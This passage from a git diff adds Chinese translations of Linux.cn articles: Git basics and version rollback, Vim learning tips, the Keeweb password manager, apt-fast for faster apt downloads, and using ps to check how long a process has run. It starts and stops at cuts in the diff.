Git 仓库。 + +有了仓库接下来的事情就可以按部就班进行了。你可以克隆该仓库,你可以在一个历史点前后来回穿梭(前提是你有一个历史点),创建交替的时间线,以及做 Git 能做的其它任何事情。 + +在 Git 仓库里面工作和在任何目录里面工作都是一样的,可以在仓库中新建文件、复制文件、保存文件。你可以像平常一样做各种事情;Git 并不复杂,除非你把它想复杂了。 + +在本地的 Git 仓库中,一个文件可以有以下这三种状态: + +- 未跟踪文件(Untracked):你在仓库里新建了一个文件,但是你没有把文件加入到 Git 的管理之中。 +- 已跟踪文件(Tracked):已经加入到 Git 管理的文件。 +- 暂存区文件(Staged):被修改了的已跟踪文件,并加入到 Git 的提交队列中。 + +任何你新加入到 Git 仓库中的文件都是未跟踪文件。这些文件保存在你的电脑硬盘上,但是你没有告诉 Git 这是需要管理的文件,用我们的录音机来类比,就是录音机还没打开;乐队就开始在录音棚里忙碌了,但是录音机并没有准备录音。 + +不用担心,Git 会在出现这种情况时告诉你: + +``` +$ echo "hello world" > foo +$ git status +On branch master +Untracked files: +(use "git add ..." to include in what will be committed) + foo +nothing added but untracked files present (use "git add" to track) +``` + +你看到了,Git 会提醒你怎样把文件加入到提交任务中。 + +### 不使用 Git 命令进行 Git 操作 + +在 GitHub 或 GitLab 上创建一个仓库只需要用鼠标点几下即可。这并不难,你单击“New Repository”这个按钮然后跟着提示做就可以了。 + +在仓库中包括一个“README”文件是一个好习惯,这样人们在浏览你的仓库的时候就可以知道你的仓库是干什么的,更有用的是可以让你在克隆一个有东西的仓库前知道它有些什么。 + +克隆仓库通常很简单,但是在 GitHub 上获取仓库改动权限就稍微复杂一些,为了通过 GitHub 验证你必须有一个 SSH 密钥。如果你使用 Linux 系统,可以通过下面的命令生成: + +``` +$ ssh-keygen +``` + +然后复制你的新密钥的内容,它是纯文本文件,你可以使用一个文本编辑器打开它,也可以使用如下 cat 命令查看: + +``` +$ cat ~/.ssh/id_rsa.pub +``` + +现在把你的密钥粘贴到 [GitHub SSH 配置文件][1] 中,或者 [GitLab 配置文件][2]。 + +如果你通过使用 SSH 模式克隆了你的项目,你就可以将修改写回到你的仓库了。 + +另外,如果你的系统上没有安装 Git 的话也可以使用 GitHub 的文件上传接口来添加文件。 + +![](https://opensource.com/sites/default/files/2_githubupload.jpg) + +### 跟踪文件 + +正如命令 `git status` 的输出告诉你的那样,如果你想让 git 跟踪一个文件,你必须使用命令 `git add` 把它加入到提交任务中。这个命令把文件存在了暂存区,这里存放的都是等待提交的文件,或者也可以用在快照中。在将文件包括到快照中,和添加要 Git 管理的新的或临时文件时,`git add` 命令的目的是不同的,不过至少现在,你不用为它们之间的不同之处而费神。 + +类比录音机,这个动作就像打开录音机开始准备录音一样。你可以想象为对已经在录音的录音机按下暂停按钮,或者倒回开头等着记录下个音轨。 + +当你把文件添加到 Git 管理中,它会标识其为已跟踪文件: + +``` +$ git add foo +$ git status +On branch master +Changes to be committed: +(use "git reset HEAD ..." to unstage) +new file: foo +``` + +加入文件到提交任务中并不是“准备录音”。这仅仅是将该文件置于准备录音的状态。在你添加文件后,你仍然可以修改该文件;它只是被标记为**已跟踪**和**处于暂存区**,所以在它被写到“磁带”前你可以将它撤出或修改它(当然你也可以再次将它加入来做些修改)。但是请注意:你还没有在磁带中记录该文件,所以如果弄坏了一个之前还是好的文件,你是没有办法恢复的,因为你没有在“磁带”中记下那个文件还是好着的时刻。 + +如果你最后决定不把文件记录到 Git 历史列表中,那么你可以撤销提交任务,在 Git 中是这样做的: + +``` +$ git reset HEAD foo +``` + +这实际上就是解除了录音机的准备录音状态,你只是在录音棚中转了一圈而已。 + +### 大型提交 + +有时候,你想要提交一些内容到仓库;我们以录音机类比,这就好比按下录音键然后记录到磁带中一样。 + +在一个项目所经历的不同阶段中,你会按下这个“记录键”无数次。比如,如果你尝试了一个新的 Python 工具包并且最终实现了窗口呈现功能,然后你肯定要进行提交,以便你在实验新的显示选项时搞砸了可以回退到这个阶段。但是如果你在 Inkscape 中画了一些图形草样,在提交前你可能需要等到已经有了一些要开发的内容。尽管你可能提交了很多次,但是 Git 并不会浪费很多,也不会占用太多磁盘空间,所以在我看来,提交的越多越好。 + +`commit` 命令会“记录”仓库中所有的暂存区文件。Git 只“记录”已跟踪的文件,即,在过去某个时间点你使用 `git add` 命令加入到暂存区的所有文件,以及从上次提交后被改动的文件。如果之前没有过提交,那么所有跟踪的文件都包含在这次提交中,以 Git 的角度来看,这是一次非常重要的修改,因为它们从没放到仓库中变成了放进去。 + +完成一次提交需要运行下面的命令: + +``` +$ git commit -m 'My great project, first commit.' +``` + +这就保存了所有提交的文件,之后可以用于其它操作(或者,用英国电视剧《神秘博士》中时间领主所讲的 Gallifreyan 语说,它们成为了“固定的时间点” )。这不仅是一个提交事件,也是一个你在 Git 日志中找到该提交的引用指针: + +``` +$ git log --oneline +55df4c2 My great project, first commit. +``` + +如果想浏览更多信息,只需要使用不带 `--oneline` 选项的 `git log` 命令。 + +在这个例子中提交时的引用号码是 55df4c2。它被叫做“提交哈希(commit hash)”(LCTT 译注:这是一个 SHA-1 算法生成的哈希码,用于表示一个 git 提交对象),它代表着刚才你的提交所包含的所有新改动,覆盖到了先前的记录上。如果你想要“倒回”到你的提交历史点上,就可以用这个哈希作为依据。 + +你可以把这个哈希想象成一个声音磁带上的 [SMPTE 时间码][3],或者再形象一点,这就是好比一个黑胶唱片上两首不同的歌之间的空隙,或是一个 CD 上的音轨编号。 + +当你改动了文件之后并且把它们加入到提交任务中,最终完成提交,这就会生成新的提交哈希,它们每一个所标示的历史点都代表着你的产品不同的版本。 + +这就是 Charlie Brown 这样的音乐家们为什么用 Git 作为版本控制系统的原因。 + +在接下来的文章中,我们将会讨论关于 Git HEAD 的各个方面,我们会真正地向你揭示时间旅行的秘密。不用担心,你只需要继续读下去就行了(或许你已经在读了?)。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/7/creating-your-first-git-repository + +作者:[Seth Kenlon][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[1]: https://github.com/settings/keys +[2]: https://gitlab.com/profile/keys +[3]: http://slackermedia.ml/handbook/doku.php?id=timecode +[4]: https://linux.cn/article-7641-1.html diff --git a/published/201608/20160721 5 tricks for getting started with Vim.md b/published/201608/20160721 5 tricks for getting started with Vim.md new file mode 100644 index 0000000000..684a1d6295 --- /dev/null +++ b/published/201608/20160721 5 tricks for getting started with Vim.md @@ -0,0 +1,60 @@ +Vim 起步的五个技巧 +===================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/education/BUSINESS_peloton.png?itok=nuMbW9d3) + +多年来,我一直想学 Vim。如今 Vim 是我最喜欢的 Linux 文本编辑器,也是开发者和系统管理者最喜爱的开源工具。我说的学习,指的是真正意义上的学习。想要精通确实很难,所以我只想要达到熟练的水平。我使用了这么多年的 Linux ,我会的也仅仅只是打开一个文件,使用上下左右箭头按键来移动光标,切换到插入模式,更改一些文本,保存,然后退出。 + +但那只是 Vim 的最最基本的操作。我的技能水平只能让我在终端使用 Vim 修改文本,但是它并没有任何一个我想象中强大的文本处理功能。这样我完全无法用 Vim 发挥出胜出 Pico 和 Nano 的能力。 + +所以到底为什么要学习 Vim?因为我花费了相当多的时间用于编辑文本,而且我知道还有很大的效率提升空间。为什么不选择 Emacs,或者是更为现代化的编辑器例如 Atom?因为 Vim 适合我,至少我有一丁点的使用经验。而且,很重要的一点就是,在我需要处理的系统上很少碰见没有装 Vim 或者它的弱化版(Vi)。如果你有强烈的欲望想学习对你来说更给力的 Emacs,我希望这些对于 Emacs 同类编辑器的建议能对你有所帮助。 + +花了几周的时间专注提高我的 Vim 使用技巧之后,我想分享的第一个建议就是必须使用它。虽然这看起来就是明知故问的回答,但事实上它比我所预想的计划要困难一些。我的大多数工作是在网页浏览器上进行的,而且每次我需要在浏览器之外打开并编辑一段文本时,就需要避免下意识地打开 Gedit。Gedit 已经放在了我的快速启动栏中,所以第一步就是移除这个快捷方式,然后替换成 Vim 的。 + +为了更好的学习 Vim,我尝试了很多。如果你也正想学习,以下列举了一些作为推荐。 + +### Vimtutor + +通常如何开始学习最好就是使用应用本身。我找到一个小的应用叫 Vimtutor,当你在学习编辑一个文本时它能辅导你一些基础知识,它向我展示了很多我这些年都忽视的基础命令。Vimtutor 一般在有 Vim 的地方都能找到它,如果你的系统上没有 Vimtutor,Vimtutor 可以很容易从你的包管理器上安装。 + +### GVim + +我知道并不是每个人都认同这个,但就是它让我从使用终端中的 Vim 转战到使用 GVim 来满足我基本编辑需求。反对者表示 GVim 鼓励使用鼠标,而 Vim 主要是为键盘党设计的。但是我能通过 GVim 的下拉菜单快速找到想找的指令,并且 GVim 可以提醒我正确的指令然后通过敲键盘执行它。努力学习一个新的编辑器然后陷入无法解决的困境,这种感觉并不好受。每隔几分钟读一下 man 出来的文字或者使用搜索引擎来提醒你该用的按键序列也并不是最好的学习新事物的方法。 + +### 键盘表 + +当我转战 GVim,我发现有一个键盘的“速查表”来提醒我最基础的按键很是便利。网上有很多这种可用的表,你可以下载、打印,然后贴在你身边的某一处地方。但是为了我的笔记本键盘,我选择买一沓便签纸。这些便签纸在美国不到 10 美元,当我使用键盘编辑文本,尝试新的命令的时候,可以随时提醒我。 + +### Vimium + +上文提到,我工作都在浏览器上进行。其中一条我觉得很有帮助的建议就是,使用 [Vimium][1] 来用增强使用 Vim 的体验。Vimium 是 Chrome 浏览器上的一个开源插件,能用 Vim 的指令快捷操作 Chrome。我发现我只用了几次使用快捷键切换上下文,就好像比之前更熟悉这些快捷键了。同样的扩展 Firefox 上也有,例如 [Vimerator][2]。 + +### 其它人 + +毫无疑问,最好的学习方法就是求助于在你之前探索过的人,让他给你建议、反馈和解决方法。 + +如果你住在一个大城市,那么附近可能会有一个 Vim meetup 小组,或者还有 Freenode IRC 上的 #vim 频道。#vim 频道是 Freenode 上最活跃的频道之一,那上面可以针对你个人的问题来提供帮助。听上面的人发发牢骚或者看看别人尝试解决自己没有遇到过的问题,仅仅是这样我都觉得很有趣。 + +------ + +那么,现在怎么样了?到现在为止还不错。为它所花的时间是否值得就在于之后它为你节省了多少时间。但是当我发现一个新的按键序列可以来跳过词,或者一些相似的小技巧,我经常会收获意外的惊喜与快乐。每天我至少可以看见,一点点的回报,正在逐渐配得上当初的付出。 + +学习 Vim 并不仅仅只有这些建议,还有很多。我很喜欢指引别人去 [Vim Advantures][3],它是一种使用 Vim 按键方式进行移动的在线游戏。而在另外一天我在 [Vimgifts.com][4] 发现了一个非常神奇的虚拟学习工具,那可能就是你真正想要的:用一个小小的 gif 动图来描述 Vim 操作。 + +你有花时间学习 Vim 吗?或者是任何需要大量键盘操作的程序?那些经过你努力后掌握的工具,你认为这些努力值得吗?效率的提高有没有达到你的预期?分享你们的故事在下面的评论区吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/7/tips-getting-started-vim + +作者:[Jason Baker][a] +译者:[maywanting](https://github.com/maywanting) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jason-baker +[1]: https://github.com/philc/vimium +[2]: http://www.vimperator.org/ +[3]: http://vim-adventures.com/ +[4]: http://vimgifs.com/ diff --git a/published/201608/20160722 Keeweb A Linux Password Manager.md b/published/201608/20160722 Keeweb A Linux Password Manager.md new file mode 100644 index 0000000000..6838c3105d --- /dev/null +++ b/published/201608/20160722 Keeweb A Linux Password Manager.md @@ -0,0 +1,61 @@ +Linux 下的密码管理器:Keeweb +================================ + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/keeweb_1.png?608) + +如今,我们依赖于越来越多的线上服务。我们每注册一个线上服务,就要设置一个密码;如此,我们就不得不记住数以百计的密码。这样对于每个人来说,都很容易忘记密码。我将在本文中介绍 Keeweb,它是一款 Linux 密码管理器,可以为你离线或在线地安全存储所有的密码。 + +当谈及 Linux 密码管理器时,我们会发现有很多这样的软件。我们已经在 LinuxAndUbuntu 上讨论过像 [Keepass][1] 和 [Encryptr,一个基于零知识系统的密码管理器][2] 这样的密码管理器。Keeweb 则是另外一款我们将在本文讲解的 Linux 密码管理器。 + +### Keeweb 可以离线或在线存储密码 + +Keeweb 是一款跨平台的密码管理器。它可以离线存储你所有的密码,并且能够同步到你自己的云存储服务上,例如 OneDrive、Google Drive、Dropbox 等。Keeweb 并没有它提供它自己的在线数据库来的同步你的密码。 + +要使用 Keeweb 连接你的线上存储服务,只需要点击界面中的“more”,然后再点击你想要使用的服务即可。 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/keeweb.png?685) + +现在,Keeweb 会提示你登录到你的云盘。登录成功后,给 Keeweb 授权使用你的账户。 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/authenticate-dropbox-with-keeweb_orig.jpg?649) + +### 使用 Keeweb 存储密码 + +使用 Keeweb 存储你的密码是非常容易的。你可以使用一个复杂的密码加密你的密码文件。Keeweb 也允许你使用一个秘钥文件来锁定密码文件,但是我并不推荐这种方式。如果某个家伙拿到了你的秘钥文件,他只需要简单点击一下就可以解锁你的密码文件。 + +#### 创建密码 + +想要创建一个新的密码,你只需要简单地点击 `+` 号,然后你就会看到所有需要填充的输入框。根据你的需要创建更多的密码记录。 + +#### 搜索密码 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/search-passwords_orig.png) + +Keeweb 拥有一个图标库,这样你就可以轻松地找到各种特定的密码记录。你可以改变图标的颜色、下载更多的图标,甚至可以直接从你的电脑中导入图标。这对于密码搜索来说,异常好使。 + +相似的服务的密码可以分组,这样你就可以在一个文件夹里找到它们。你也可以给密码打上标签并把它们存放在不同分类中。 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/tags-passwords-in-keeweb.png?283) + +### 主题 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/themes.png?304) + +如果你喜欢类似于白色或者高对比度的亮色主题,你可以在“设置 > 通用 > 主题”中修改。(Keeweb)有四款可供选择的主题,其中两款为暗色,另外两款为亮色。 + +### 不喜欢 Linux 密码管理器?没问题! + +我已经发表过文章介绍了另外两款 Linux 密码管理器,它们分别是 Keepass 和 Encryptr,在 Reddit 和其它社交媒体上有些关于它们的争论。有些人反对使用任何密码管理器,也有人持相反意见。在本文中,我想要澄清的是,存放密码文件是我们自己的责任。我认为像 keepass 和 Keeweb 这样的密码管理器是非常好用的,因为它们并没有自己的云来存放你的密码。这些密码管理器会创建一个文件,然后你可以将它存放在你的硬盘上,或者使用像 VeraCrypt 这样的应用给它加密。我个人不使用也不推荐使用那些将密码存储在它们自己数据库的服务。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxandubuntu.com/home/keeweb-a-linux-password-manager + +译者:[ChrisLeeGit](https://github.com/chrisleegit) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.linuxandubuntu.com/home/keeweb-a-linux-password-manager +[1]: http://www.linuxandubuntu.com/home/keepass-password-management-tool-creates-strong-passwords-and-keeps-them-secure +[2]: http://www.linuxandubuntu.com/home/encryptr-zero-knowledge-system-based-password-manager-for-linux diff --git a/published/201608/20160726 How to restore older file versions in Git.md b/published/201608/20160726 How to restore older file versions in Git.md new file mode 100644 index 0000000000..9008d9cf63 --- /dev/null +++ b/published/201608/20160726 How to restore older file versions in Git.md @@ -0,0 +1,182 @@ +Git 系列(四):在 Git 中进行版本回退 +============================================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/file_system.jpg?itok=s2b60oIB) + +在这篇文章中,你将学到如何查看项目中的历史版本,如何进行版本回退,以及如何创建 Git 分支以便你可以大胆尝试而不会出现问题。 + +在你的 Git 项目的历史中,你的位置就像是摇滚专辑中的一个片段,由一个被称为 HEAD 的 标记来确定(如磁带录音机或录音播放器的播放头)。要在你的 Git 时间线上前后移动 HEAD ,需要使用 `git checkout` 命令。 + +git checkout 命令的使用方式有两种。最常见的用途是从一个以前的提交中恢复文件,你也可以整个倒回磁带,切换到另一个分支。 + + +### 恢复一个文件 + +当你意识到一个本来很好文件被你完全改乱了。我们都这么干过:我们把文件放到一个地方,添加并提交,然后我们发现它还需要做点最后的调整,最后这个文件被搞得面目全非了。 + +要把它恢复到最后的完好状态,使用 git checkout 从最后的提交(即 HEAD)中恢复: + +``` +$ git checkout HEAD filename +``` + +如果你碰巧提交了一个错误的版本,你需要找回更早的版本,使用 git log 查看你更早的提交,然后从合适的提交中找回它: + +``` +$ git log --oneline +79a4e5f bad take +f449007 The second commit +55df4c2 My great project, first commit. + +$ git checkout 55df4c2 filename + +``` + +现在,以前的文件恢复到了你当前的位置。(任何时候你都可以用 git status 命令查看你的当前状态)因为这个文件改变了,你需要添加这个文件,再进行提交: + +``` +$ git add filename +$ git commit -m 'restoring filename from first commit.' +``` + +使用 Git log 验证你所提交的: + +``` +$ git log --oneline +d512580 restoring filename from first commit +79a4e5f bad take +f449007 The second commit +55df4c2 My great project, first commit. +``` + +从本质上讲,你已经倒好了磁带并修复了坏的地方,所以你需要重新录制正确的。 + +### 回退时间线 + +恢复文件的另一种方式是回退整个 Git 项目。这里使用了分支的思想,这是另一种替代方法。 + +如果你要回到历史提交,你要将 Git HEAD 回退到以前的版本才行。这个例子将回到最初的提交处: + +``` +$ git log --oneline +d512580 restoring filename from first commit +79a4e5f bad take +f449007 The second commit +55df4c2 My great project, first commit. + +$ git checkout 55df4c2 +``` + +当你以这种方式倒回磁带,如果你按下录音键再次开始,就会丢失以前的工作。Git 默认假定你不想这样做,所以将 HEAD 从项目中分离出来,可以让你如所需的那样工作,而不会因为偶尔的记录而影响之后的工作。 + +如果你想看看以前的版本,想要重新做或者尝试不同的方法,那么安全一点的方式就是创建一个新的分支。可以将这个过程想象为尝试同一首歌曲的不同版本,或者创建一个混音的。原始的依然存在,关闭那个分支做你想做的版本吧。 + +就像记录到一个空白磁带一样,把你的 Git HEAD 指到一个新的分支处: + +``` +$ git checkout -b remix +Switched to a new branch 'remix' +``` + +现在你已经切换到了另一个分支,在你面前的是一个替代的干净工作区,准备开始工作吧。 + +也可以不用改变时间线来做同样的事情。也许你很想这么做,但切换到一个临时的工作区只是为了尝试一些疯狂的想法。这在工作中完全是可以接受的,请看: + +``` +$ git status +On branch master +nothing to commit, working directory clean + +$ git checkout -b crazy_idea +Switched to a new branch 'crazy_idea' +``` + +现在你有一个干净的工作空间,在这里你可以完成一些奇怪的想法。一旦你完成了,可以保留你的改变,或者丢弃他们,并切换回你的主分支。 + +若要放弃你的想法,切换到你的主分支,假装新分支不存在: + +``` +$ git checkout master +``` + +想要继续使用你的疯狂的想法,需要把它们拉回到主分支,切换到主分支然后合并新分支到主分支: + +``` +$ git checkout master +$ git merge crazy_idea +``` + +git 的分支功能很强大,开发人员在克隆仓库后马上创建一个新分支是很常见的做法;这样,他们所有的工作都在自己的分支上,可以提交并合并到主分支。Git 是很灵活的,所以没有“正确”或“错误”的方式(甚至一个主分支也可以与其所属的远程仓库分离),但分支易于分离任务和提交贡献。不要太激动,你可以如你所愿的有很多的 Git 分支。完全自由。 + +### 远程协作 + +到目前为止你已经在自己舒适而私密的家中维护着一个 Git 仓库,但如何与其他人协同工作呢? + +有好几种不同的方式来设置 Git 以便让多人可以同时在一个项目上工作,所以首先我们要克隆仓库,你可能已经从某人的 Git 服务器或 GitHub 主页,或在局域网中的共享存储上克隆了一个仓库。 + +工作在私人仓库下和共享仓库下唯一不同的是你需要把你的改变 `push` 到别人的仓库。我们把工作的仓库称之为本地(local)仓库,其他仓库称为远程(remote)仓库。 + +当你以读写的方式克隆一个仓库时,克隆的仓库会继承自被称为 origin 的远程库。你可以看看你的克隆仓库的远程仓库: + +``` +$ git remote --verbose +origin seth@example.com:~/myproject.Git (fetch) +origin seth@example.com:~/myproject.Git (push) +``` + +有一个 origin 远程库非常有用,因为它有异地备份的功能,并允许其他人在该项目上工作。 + +如果克隆没有继承 origin 远程库,或者如果你选择以后再添加,可以使用 `git remote` 命令: + +``` +$ git remote add seth@example.com:~/myproject.Git +``` + +如果你修改了文件,想把它们发到有读写权限的 origin 远程库,使用 `git push`。第一次推送改变,必须也发送分支信息。不直接在主分支上工作是一个很好的做法,除非你被要求这样做: + +``` +$ git checkout -b seth-dev +$ git add exciting-new-file.txt +$ git commit -m 'first push to remote' +$ git push -u origin HEAD +``` + +它会推送你当前的位置(HEAD)及其存在的分支到远程。当推送过一次后,以后每次推送可以不使用 -u 选项: + +``` +$ git add another-file.txt +$ git commit -m 'another push to remote' +$ git push origin HEAD +``` + +### 合并分支 + +当你工作在一个 Git 仓库时,你可以合并任意测试分支到主分支。当团队协作时,你可能想在将它们合并到主分支之前检查他们的改变: + +``` +$ git checkout contributor +$ git pull +$ less blah.txt ### 检查改变的文件 +$ git checkout master +$ git merge contributor +``` + +如果你正在使用 GitHub 或 GitLab 以及类似的东西,这个过程是不同的。但克隆项目并把它作为你自己的仓库都是相似的。你可以在本地工作,将改变提交到你的 GitHub 或 GitLab 帐户,而不用其它人的许可,因为这些库是你自己的。 + +如果你想要让你克隆的仓库接受你的改变,需要创建了一个拉取请求(pull request),它使用 Web 服务的后端发送补丁到真正的拥有者,并允许他们审查和拉取你的改变。 + +克隆一个项目通常是在 Web 服务端完成的,它和使用 Git 命令来管理项目是类似的,甚至推送的过程也是。然后它返回到 Web 服务打开一个拉取请求,工作就完成了。 + +下一部分我们将整合一些有用的插件到 Git 中来帮你轻松的完成日常工作。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/7/how-restore-older-file-versions-git + +作者:[Seth Kenlon][a] +译者:[strugglingyouth](https://github.com/strugglingyouth) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth diff --git a/published/201608/20160727-How-to-use-multiple-connections-to-speed-up-apt-get on Ubuntu Linux 16.04 LTS server.md b/published/201608/20160727-How-to-use-multiple-connections-to-speed-up-apt-get on Ubuntu Linux 16.04 LTS server.md new file mode 100644 index 0000000000..d60a04cf8a --- /dev/null +++ b/published/201608/20160727-How-to-use-multiple-connections-to-speed-up-apt-get on Ubuntu Linux 16.04 LTS server.md @@ -0,0 +1,215 @@ +如何在 Ubuntu Linux 16.04 LTS 中使用多个连接加速 apt-get/apt +================================================= + +我该如何加速在 Ubuntu Linux 16.04 或者 14.04 LTS 上从多个仓库中下载包的 apt-get 或者 apt 命令? + +你需要使用到 apt-fast 这个 shell 封装器。它会通过多个连接同时下载一个包来加速 apt-get/apt 和 aptitude 命令。所有的包都会同时下载。它使用 aria2c 作为默认的下载加速器。 + +### 安装 apt-fast 工具 + +在 Ubuntu Linux 14.04 或者之后的版本尝试下面的命令: + +``` +$ sudo add-apt-repository ppa:saiarcot895/myppa +``` + +示例输出: + +![](http://s0.cyberciti.org/uploads/faq/2016/07/install-apt-fast-repo.jpg) + +更新你的仓库: + +``` +$ sudo apt-get update +``` + +或者 + +``` +$ sudo apt update +``` + +![](http://s0.cyberciti.org/uploads/faq/2016/07/install-apt-fast-command.jpg) + +安装 apt-fast: + +``` +$ sudo apt-get -y install apt-fast +``` + +或者 + +``` +$ sudo apt -y install apt-fast +``` + +示例输出: + +``` +Reading package lists... Done +Building dependency tree +Reading state information... Done +The following additional packages will be installed: + aria2 libc-ares2 libssh2-1 +Suggested packages: + aptitude +The following NEW packages will be installed: + apt-fast aria2 libc-ares2 libssh2-1 +0 upgraded, 4 newly installed, 0 to remove and 0 not upgraded. +Need to get 1,282 kB of archives. +After this operation, 4,786 kB of additional disk space will be used. +Do you want to continue? [Y/n] y +Get:1 http://01.archive.ubuntu.com/ubuntu xenial/universe amd64 libssh2-1 amd64 1.5.0-2 [70.3 kB] +Get:2 http://ppa.launchpad.net/saiarcot895/myppa/ubuntu xenial/main amd64 apt-fast all 1.8.3~137+git7b72bb7-0ubuntu1~ppa3~xenial1 [34.4 kB] +Get:3 http://01.archive.ubuntu.com/ubuntu xenial/main amd64 libc-ares2 amd64 1.10.0-3 [33.9 kB] +Get:4 http://01.archive.ubuntu.com/ubuntu xenial/universe amd64 aria2 amd64 1.19.0-1build1 [1,143 kB] +54% [4 aria2 486 kB/1,143 kB 42%] 20.4 kB/s 32s +``` + +### 配置 apt-fast + +你将会得到下面的提示(必须输入一个5到16的数值): + +![](http://s0.cyberciti.org/uploads/faq/2016/07/max-connection-10.jpg) + +并且 + +![](http://s0.cyberciti.org/uploads/faq/2016/07/apt-fast-confirmation-box.jpg) + +你也可以直接编辑设置: + +``` +$ sudo vi /etc/apt-fast.conf +``` + +> **请注意这个工具并不是给慢速网络连接的,它是给快速网络连接的。如果你的网速慢,那么你将无法从这个工具中得到好处。** + +### 我该怎么使用 apt-fast 命令? + +语法是: + +``` +apt-fast command +apt-fast [options] command +``` + +#### 使用 apt-fast 取回新的包列表 + +``` +sudo apt-fast update +``` + +#### 使用 apt-fast 执行升级 + +``` +sudo apt-fast upgrade +``` + + +#### 执行发行版升级(发布或者强制内核升级),输入: + +``` +$ sudo apt-fast dist-upgrade +``` + +#### 安装新的包 + +语法是: + +``` +sudo apt-fast install pkg +``` + +比如要安装 nginx,输入: + +``` +$ sudo apt-fast install nginx +``` + +示例输出: + +![](http://s0.cyberciti.org/uploads/faq/2016/07/sudo-apt-fast-install.jpg) + +#### 删除包 + +``` +$ sudo apt-fast remove pkg +$ sudo apt-fast remove nginx +``` + +#### 删除包和它的配置文件 + +``` +$ sudo apt-fast purge pkg +$ sudo apt-fast purge nginx +``` + +#### 删除所有未使用的包 + +``` +$ sudo apt-fast autoremove +``` + +#### 下载源码包 + +``` +$ sudo apt-fast source pkgNameHere +``` + +#### 清理下载的文件 + +``` +$ sudo apt-fast clean +``` + +#### 清理旧的下载文件 + +``` +$ sudo apt-fast autoclean +``` + +#### 验证没有破坏的依赖 + +``` +$ sudo apt-fast check +``` + +#### 下载二进制包到当前目录 + +``` +$ sudo apt-fast download pkgNameHere +$ sudo apt-fast download nginx +``` + +示例输出: + +``` +[#7bee0c 0B/0B CN:1 DL:0B] +07/26 15:35:42 [NOTICE] Verification finished successfully. file=/home/vivek/nginx_1.10.0-0ubuntu0.16.04.2_all.deb +07/26 15:35:42 [NOTICE] Download complete: /home/vivek/nginx_1.10.0-0ubuntu0.16.04.2_all.deb +Download Results: +gid |stat|avg speed |path/URI +======+====+===========+======================================================= +7bee0c|OK | n/a|/home/vivek/nginx_1.10.0-0ubuntu0.16.04.2_all.deb +Status Legend: +(OK):download completed. +``` + +#### 下载并显示指定包的 changelog + +``` +$ sudo apt-fast changelog pkgNameHere +$ sudo apt-fast changelog nginx +``` + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/how-to-speed-up-apt-get-apt-command-ubuntu-linux/ + +作者:[VIVEK GITE][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.cyberciti.biz/tips/about-us diff --git a/published/201608/20160801 Linux how long a process has been running.md b/published/201608/20160801 Linux how long a process has been running.md new file mode 100644 index 0000000000..e7e90948b1 --- /dev/null +++ b/published/201608/20160801 Linux how long a process has been running.md @@ -0,0 +1,75 @@ +在 Linux 下如何查看一个进程的运行时间 +===================== + +![](http://s0.cyberciti.org/images/category/old/linux-logo.png) + +> 我是一个 Linux 系统的新手。我该如何在我的 Ubuntu 服务器上查看一个进程(或者根据进程 id 查看)已经运行了多久? + +你需要使用 ps 命令来查看关于一组正在运行的进程的信息。ps 命令提供了如下的两种格式化选项。 + +1. etime 显示了自从该进程启动以来,经历过的时间,格式为 `[[DD-]hh:]mm:ss`。 +2. etimes 显示了自该进程启动以来,经历过的时间,以秒的形式。 + +### 如何查看一个进程已经运行的时间? + +你需要在 ps 命令之后添加 -o etimes 或者 -o etime 参数。它的语法如下: + +``` +ps -p {PID-HERE} -o etime +ps -p {PID-HERE} -o etimes +``` + +#### 第一步:找到一个进程的 PID (openvpn 为例) + +``` +$ pidof openvpn +6176 +``` + +#### 第二步:openvpn 进程运行了多长时间? + +``` +$ ps -p 6176 -o etime +``` + +或者 + +``` +$ ps -p 6176 -o etimes +``` + +隐藏输出头部: + +``` +$ ps -p 6176 -o etime= +$ ps -p 6176 -o etimes= +``` + +样例输出: + +![](http://s0.cyberciti.org/uploads/faq/2016/08/How-to-check-how-long-a-process-has-been-running.jpg) + +这个 6176 就是你想查看的进程的 PID。在这个例子中,我查看的是 openvpn 进程。你可以按照你的需求随意的更换 openvpn 进程名或者是 PID。在下面的例子中,我打印了 PID、执行命令、运行时间、用户 ID、和用户组 ID: + +``` +$ ps -p 6176 -o pid,cmd,etime,uid,gid +``` + +样例输出: + +``` + PID CMD ELAPSED UID GID + 6176 /usr/sbin/openvpn --daemon 15:25 65534 65534 +``` + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/how-to-check-how-long-a-process-has-been-running/ + +作者:[VIVEK GITE][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.cyberciti.biz/faq/how-to-check-how-long-a-process-has-been-running/ diff --git a/published/201608/20160802 3 graphical tools 